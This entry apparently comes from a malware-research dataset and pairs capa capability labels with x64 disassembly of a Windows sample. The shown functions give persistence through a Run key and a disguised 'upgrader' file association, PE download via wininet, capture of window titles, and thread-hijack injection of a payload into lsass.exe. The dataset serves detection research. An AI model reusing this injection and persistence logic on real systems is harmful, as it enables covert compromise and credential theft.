joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005608
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r13, rcx
mov ecx, 0x7532
call fcn.140021540
xor edx, edx
mov r8d, 0x7532
mov rcx, rax
mov rbp, rax
call fcn.140025070
xor edx, edx
mov byte [rbp], 2
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x140005672
lea rbx, [rbp + 2]
lea r8, [0x14004ab08]
mov edx, 0x36b0
mov rcx, rbx
call fcn.1400215e4
jmp 0x1400056d3
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140005690
lea rdx, [rbp + 2]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rbx, [rbp + 2]
lea rdi, [0x14004a710]
mov ecx, 1
mov rsi, rbx
repe cmpsw word [rsi], word [rdi]
jne 0x1400056bc
lea r8, [0x14004ab18]
mov edx, 0x3a98
mov rcx, rbx
call fcn.1400215e4
lea r8, [0x14004ab24]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call fcn.1400215e4
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [r13 + 8]
mov r8d, 0x7532
mov rax, qword [rcx]
mov rdx, rbp
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbp
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
jmp fcn.140021190

Function at 0x140005718
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
lea rbp, [rax - 0x508]
sub rsp, 0x5f0
mov rbx, rcx
mov r12d, r8d
lea rcx, [rsp + 0x40]
mov r8d, 0x2d8
mov rsi, rdx
call fcn.1400211b0
lea rcx, [rbp + 0x222]
xor r13d, r13d
xor edx, edx
mov r8d, 0x2ce
mov word [rbp + 0x220], r13w
call fcn.140025070
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
lea rcx, [rbp + 0x150]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400057ad
xor eax, eax
jmp 0x140005847
lea r8d, [r12 - 0x2d8]
lea rdx, [rsi + 0x2d8]
lea r9, [rbp + 0x518]
mov rcx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400057a6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x220]
test eax, eax
je 0x14000580f
lea r9, [rsp + 0x48]
lea r8, [rbp + 0x150]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x14000581c
lea rdx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x44]
test eax, eax
je 0x14000582d
dec eax
jne 0x140005842
xor r8d, r8d
jmp 0x140005833
mov r8d, 5
lea rdx, [rbp + 0x220]
mov rcx, rbx
call fcn.140005864
mov eax, 1
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rbp
ret
Function at 0x140005864
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r13
push r15
lea rbp, [rax - 0xa18]
sub rsp, 0xb00
mov rsi, rcx
mov r12d, r8d
mov rdi, rdx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.140025070
mov edx, 0x2e
mov rcx, rdi
call fcn.1400220dc
xor r13d, r13d
mov rbx, rax
test rax, rax
jne 0x1400058c3
xor al, al
jmp 0x140005ab4
lea rcx, [rbp + 0x1f2]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r13w
call fcn.140025070
mov r15d, 0x20
mov edx, r15d
mov rcx, rbx
call fcn.1400220dc
mov rcx, rbx
test rax, rax
je 0x14000591a
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x140005937
cmp word [rbx + rcx*2], r15w
je 0x140005920
dec rcx
dec eax
test rcx, rcx
jg 0x140005907
jmp 0x140005937
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.140022108
lea r9, [rbp - 0x20]
lea rdx, [rbp + 0x1f0]
mov r8d, 1
mov rcx, rsi
call fcn.140005ad8
test eax, eax
je 0x1400058bc
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.140025070
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.140025070
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r13w
call fcn.140025070
lea r9, [rbp + 0x400]
lea rdx, [rbp + 0x610]
mov r8d, 2
mov rcx, rsi
call fcn.140005ad8
test eax, eax
je 0x1400058bc
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x14004ab70]
lea rcx, [rbp - 0x20]
call fcn.14002182c
test rax, rax
jne 0x140005a36
lea rdx, [0x14004ab78]
lea rcx, [rbp - 0x20]
call fcn.14002182c
test rax, rax
jne 0x140005a36
lea rdx, [0x14004a750]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x140005a42
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.140025070
mov dword [rsp + 0x50], WSAGetLastError
test r12d, r12d
je 0x140005a6d
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x140005a79
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r13w
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
lea r11, [rsp + 0xb00]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r13
pop rbp
ret
Function at 0x140005d78
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x560]
sub rsp, 0x660
xor ebx, ebx
mov rsi, rcx
test edx, edx
je 0x140005f43
dec edx
jne 0x140005f9e
lea rcx, [0x14004aa20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x14004aa80]
mov rcx, rax
mov qword [rsi + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x14004aa98]
mov qword [rsi + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x14004aa50]
mov qword [rsi + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsi + 0x240]
lea rdx, [0x14004aac8]
mov qword [rsi + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x280], rax
cmp qword [rsi + 0x250], rbx
je 0x140005f9e
mov r10, qword [rsi + 0x268]
test r10, r10
je 0x140005f9e
cmp qword [rsi + 0x288], rbx
je 0x140005f9e
test rax, rax
je 0x140005f9e
lea rax, [rbp + 0x590]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call r10
test eax, eax
jne 0x140005f9e
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x590]
lea edi, [rbx + 1]
lea eax, [rax + rax + 2]
lea rdx, str.upgrader_64.exe
mov r9d, edi
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [rsi + 0x288]
test eax, eax
jne 0x140005f2d
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], bx
call fcn.140025070
mov rcx, qword [rbp + 0x590]
lea rax, [rbp + 0x588]
lea rdx, str.upgrader_64.exe
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x140]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x588], 0x208
call qword [rsi + 0x250]
test eax, eax
je 0x140005f2f
mov edi, ebx
mov rcx, qword [rbp + 0x590]
call qword [rsi + 0x280]
mov eax, edi
jmp 0x14000600c
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], bx
call fcn.140025070
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], bx
call fcn.140025070
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x290], rax
test rax, rax
jne 0x140005fa2
xor eax, eax
jmp 0x14000600c
mov r9d, 1
lea rdx, [rbp + 0x140]
xor ecx, ecx
lea r8d, [r9 + 6]
call rax
test eax, eax
je 0x140005f9e
lea rdx, [rbp + 0x350]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, str.upgrader_64.exe
lea r8, [rbp + 0x140]
lea rdx, str._s_s
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x350]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x680]
add rsp, 0x660
pop rdi
pop rsi
pop rbp
ret
Function at 0x140006020
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r13
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rbp, rdx
lea rax, [r11 + 8]
mov rsi, r8
mov rbx, rcx
lea rdi, str.main
lea r13, str.back
mov rdx, rdi
mov r9d, 2
cmovne rdx, r13
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [r11 - 0x28], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea r8, [rsp + 0x50]
cmovne rdi, r13
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1400060de
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop rdi
pop rsi
ret
Function at 0x14000622c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x840
and dword [rax + 0x18], 0
and dword [rax + 0x20], 0
mov rbp, rcx
lea rcx, str.wininet.dll
mov r12d, 1
mov rbx, rdx
mov sil, r12b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov r13, rax
test rax, rax
jne 0x1400062ab
test rdi, rdi
je 0x1400062a4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x1400063d5
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x140006296
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000639c
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x800
call fcn.140025070
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x880]
lea rdx, [rsp + 0x40]
mov r8d, 0x800
mov rcx, rbp
call rax
test r12d, r12d
je 0x14000635e
mov eax, 0x5a4d
cmp word [rsp + 0x40], ax
jne 0x140006390
mov r8d, dword [rsp + 0x880]
lea r9, [rsp + 0x888]
lea rdx, [rsp + 0x40]
xor r12d, r12d
mov rcx, rbx
and qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x880], r12d
jbe 0x140006393
jmp 0x140006313
xor sil, sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x1400063d2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, sil
mov rbx, qword [rsp + 0x870]
add rsp, 0x840
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140006914
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdx, qword [rcx]
mov r10d, dword [rcx + 0x68]
mov r12d, 1
movzx eax, word [rdx + 0x14]
mov rsi, qword [rdx + 0x30]
sub r10, r12
lea r8, [rax + rdx + 0x18]
movabs rax, 0xffffffff00000000
not r10
mov r11d, dword [r8 + 8]
and rsi, rax
mov eax, dword [r8 + 0x10]
or r11, rsi
xor ebx, ebx
mov r13, rcx
and r10, r11
mov qword [rbp + 0x30], rsi
mov qword [rbp - 0x20], r11
mov qword [rbp - 0x18], r10
test eax, eax
jne 0x140006999
test byte [r8 + 0x24], 0x40
je 0x14000698f
mov eax, dword [rdx + 0x20]
jmp 0x140006999
test byte [r8 + 0x24], 0x80
je 0x140006999
mov eax, dword [rdx + 0x24]
mov ecx, dword [r8 + 0x24]
mov r9d, eax
mov dword [rbp - 4], ebx
mov qword [rbp - 0x10], r9
mov r14d, r12d
mov dword [rbp - 8], ecx
cmp r12w, word [rdx + 6]
jae 0x140006a72
lea rdi, [r8 + 0x4c]
mov r15d, dword [rdi - 0x1c]
mov eax, dword [rdi - 0x14]
or r15, rsi
mov esi, dword [r13 + 0x68]
sub rsi, r12
not rsi
and rsi, r15
test eax, eax
jne 0x1400069e9
test byte [rdi], 0x40
je 0x1400069e1
mov eax, dword [rdx + 0x20]
jmp 0x1400069e9
test byte [rdi], 0x80
je 0x1400069e9
mov eax, dword [rdx + 0x24]
mov r12d, eax
cmp r10, rsi
je 0x140006a23
lea rax, [r9 + r11]
cmp rax, rsi
ja 0x140006a23
lea rdx, [rbp - 0x20]
mov rcx, r13
call fcn.140006854
test eax, eax
je 0x140006a6e
mov ecx, dword [rdi]
mov r11, r15
mov qword [rbp - 0x20], r15
mov r10, rsi
mov qword [rbp - 0x18], rsi
mov r9d, r12d
mov qword [rbp - 0x10], r12
jmp 0x140006a48
mov eax, dword [rdi]
bt eax, 0x19
jae 0x140006a35
bt ecx, 0x19
jae 0x140006a35
or ecx, eax
jmp 0x140006a3b
or ecx, eax
btr ecx, 0x19
mov r9, r12
sub r9, r11
add r9, r15
mov qword [rbp - 0x10], r9
mov rdx, qword [r13]
mov r12d, 1
add rdi, 0x28
movzx eax, word [rdx + 6]
add r14d, r12d
mov dword [rbp - 8], ecx
cmp r14d, eax
jge 0x140006a72
mov rsi, qword [rbp + 0x30]
jmp 0x1400069bc
xor eax, eax
jmp 0x140006a89
lea rdx, [rbp - 0x20]
mov rcx, r13
mov dword [rbp - 4], r12d
call fcn.140006854
test eax, eax
setne bl
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140007454
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
lea rcx, [r12 + 0x138]
mov eax, r14d
xchg dword [r12 + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.140021890
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.1400211b0
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
add r11d, 8
add rcx, 8
lea edi, [r14 + 1]
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
movzx r8d, si
mov r9d, edi
mov rdx, rbp
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [r12 + 0x380]
mov edx, 0xfa0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000756e
cmp eax, 0x102
je 0x14000755c
cmp eax, 0xffffffff
jne 0x14000756a
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x1400075d4
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [r12 + 0x140]
sub rcx, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rcx
divsd xmm0, qword [0x14004bd20]
mov ecx, edi
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
xchg dword [r12 + 0x150], ecx
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
ret
Function at 0x1400093d4
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
mov rbp, rsp
sub rsp, 0x48
lea rax, [rbp + 0x28]
mov rsi, 0xffffffff80000000
lea rdx, [0x14004b398]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140009414
mov rcx, qword [rbp + 0x28]
jmp 0x140009500
lea r8, [rbp + 0x20]
lea rdx, [0x14004b398]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.Counsellor
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x20]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.Counsellor
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x18]
lea rdx, str.Counsellor
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x18]
xor edx, edx
lea r8d, [rdx + 1]
lea r9, str.Microsoft_Date_Tools_Upgrader_File
mov dword [rsp + 0x20], gethostbyname
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
lea r8, [rbp + 0x30]
lea rdx, str.Shell
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x30]
lea r8, [rbp - 0x18]
lea rdx, str.Open
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x10]
lea rdx, str.Command
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.wscript.exe___E:vbscript___1_
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp - 0x10]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.wscript.exe___E:vbscript___1_
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x48
pop rsi
pop rbp
ret
Function at 0x14000a9b8
Capabilities:
Allocate or change rwx memory
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x660]
sub rsp, 0x760
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rbp + 0x690]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call rax
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000aba3
lea rdx, [rsp + 0x50]
mov rcx, rax
mov dword [rsp + 0x50], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x14000aa5e
lea rdx, [rsp + 0x7c]
lea rcx, str.lsass.exe
call fcn.140023f04
test eax, eax
je 0x14000aa64
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000aa3b
jmp 0x14000aa68
mov edi, dword [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x14000aba3
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
mov dword [rbp + 0x1c0], 0x10000b
mov dword [rsp + 0x30], 0x1c
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000aaab
lea eax, [rbx - 2]
jmp 0x14000aba6
mov esi, 0x8457
mov r9d, 0x3000
xor edx, edx
mov rcx, rax
mov r8d, esi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x14000aade
lea eax, [r12 - 3]
jmp 0x14000aba6
and qword [rsp + 0x20], 0
lea r8, [0x140057d70]
mov r9, rsi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
xor r13d, r13d
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x30]
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14000ab96
cmp edi, dword [rsp + 0x3c]
jne 0x14000ab7f
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x14000ab8f
mov rcx, rax
inc r13d
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rbp + 0x190]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, [rbp + 0x190]
mov rcx, rsi
mov qword [rbp + 0x288], r12
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp r13d, 4
jg 0x14000ab96
lea rdx, [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Thread32Next]
jmp 0x14000ab19
mov eax, 0xfffffffc
jmp 0x14000aba6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000aba6
or eax, 0xffffffff
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret